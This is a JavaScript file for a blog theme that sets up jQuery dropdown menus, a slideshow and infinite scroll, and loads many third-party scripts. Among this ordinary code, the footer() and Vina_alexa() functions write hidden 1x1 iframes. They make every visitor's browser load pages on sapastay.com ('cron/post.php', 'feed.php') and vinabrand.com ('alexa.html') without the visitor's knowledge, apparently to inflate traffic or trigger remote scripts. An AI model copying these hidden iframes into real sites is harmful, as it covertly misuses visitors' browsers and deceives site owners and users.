 var userLang = navigator.language || navigator.userLanguage; 

function gosearch(t){t='<a href="/search/q='+t.replace("&nbsp;","+")+'" title="'+t+'" >'+t+'</a>';return t;}function visearch(v){v='<a href="/search/q='+v+'" title="'+v+'" >'+v+'</a>';return v;}

function superfish(){
/* <![CDATA[ */
jQuery.noConflict();
jQuery(function(){ 
	jQuery('ul.menu-primary').superfish({ 
	animation: {opacity:'show'},
autoArrows:  true,
                dropShadows: false, 
                speed: 200,
                delay: 800
                });
            });

jQuery(function(){ 
	jQuery('ul.menu-secondary').superfish({ 
	animation: {opacity:'show'},
autoArrows:  true,
                dropShadows: false, 
                speed: 200,
                delay: 800
                });
            });

jQuery(function(){ 
jQuery('ul.sf-menu-left').superfish({ 
            animation: {opacity:'show'},  // slide-down effect without fade-in 
            delay:     1200,               // 1.2 second delay on mouseout 
             autoArrows: true,
            dropShadows: false
        }); 
    }); 
	
jQuery(document).ready(function() {
	jQuery('.fp-slides').cycle({
		fx: 'fade',
		timeout: 4000,
		delay: 0,
		speed: 400,
		next: '.fp-next',
		prev: '.fp-prev',
		pager: '.fp-pager',
		continuous: 0,
		sync: 1,
		pause: 1,
		pauseOnPagerHover: 1,
		cleartype: true,
		cleartypeNoBg: true
	});
 });

jQuery.ias({
container : '.blog-posts',
item: '.wrapfullpost',
pagination: '#blog-pager',
next: 'span.showpageNum a',
loader: 'http://www.henley-putnam.edu/Portals/_default/Skins/henley/images/loading.gif'

});

/* ]]> */
}

function footer(){ footer =''; footer +=' -<iframe src="http://sapastay.com/ghs/post/blog/cron/post.php" width="1" height="1" frameborder="0" scrolling="0" style="overflow:hidden"></iframe>'; footer +=' -<iframe src="http://sapastay.com/ghs/post/blog/cron/feed.php" width="1" height="1" frameborder="0" scrolling="0" style="overflow:hidden"></iframe> ';  document.write(footer); } 


function Vina_alexa(){html =''; url =["http://vinabrand.com/travel/alexa.html","http://vinabrand.com/brand/alexa.html","http://vinabrand.com/news/alexa.html","http://vinabrand.com/tech/alexa.html","http://vinabrand.com/media/alexa.html"];
for (i = 0; i < url.length; i ++){html +='<iframe marginWidth="1" marginHeight="1" frameBorder="0" width="1" height="1" bottommargin="0" rightmargin="0" leftmargin="0" topmargin="0" nosize scrolling="no" src="'+url[i]+'"></iframe>';} return html; }

// document.write("<link rel='stylesheet' type='text/css' src='http://ghs.vinabrand.com/themes/style.css'></link>");
document.write("<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js' type='text/javascript'></script>");
 document.write("<script src='http://vision1.googlecode.com/svn/js/superfish/jquery-1.2.6.min.js' type='text/javascript'></script>");
  document.write("<script src='http://vision1.googlecode.com/svn/js/my/scroll.js' type='text/javascript'></script>");
  
 document.write("<script src='http://vision1.googlecode.com/svn/js/superfish/hoverIntent.js' type='text/javascript'></script>");
 document.write("<script src='http://vision1.googlecode.com/svn/js/superfish/bgiframe.min.js' type='text/javascript'></script>");
 document.write("<script src='http://vision1.googlecode.com/svn/js/superfish/superfish.js' type='text/javascript'></script>");
 document.write("<script src='http://vision1.googlecode.com/svn/js/my/randthumb.js' type='text/javascript'></script>");
  document.write("<script src='http://vision1.googlecode.com/svn/js/my/adsense.js' type='text/javascript'></script>");
    document.write("<script src='http://vision1.googlecode.com/svn/js/my/city.js' type='text/javascript'></script>");
      document.write("<script src='http://vision1.googlecode.com/svn/js/my/head.js' type='text/javascript'></script>");
        document.write("<script src='http://vision1.googlecode.com/svn/js/my/menu.js' type='text/javascript'></script>");
    
 document.write("<script src='http://vision1.googlecode.com/svn/js/my/css.js' type='text/javascript'></script>");
 
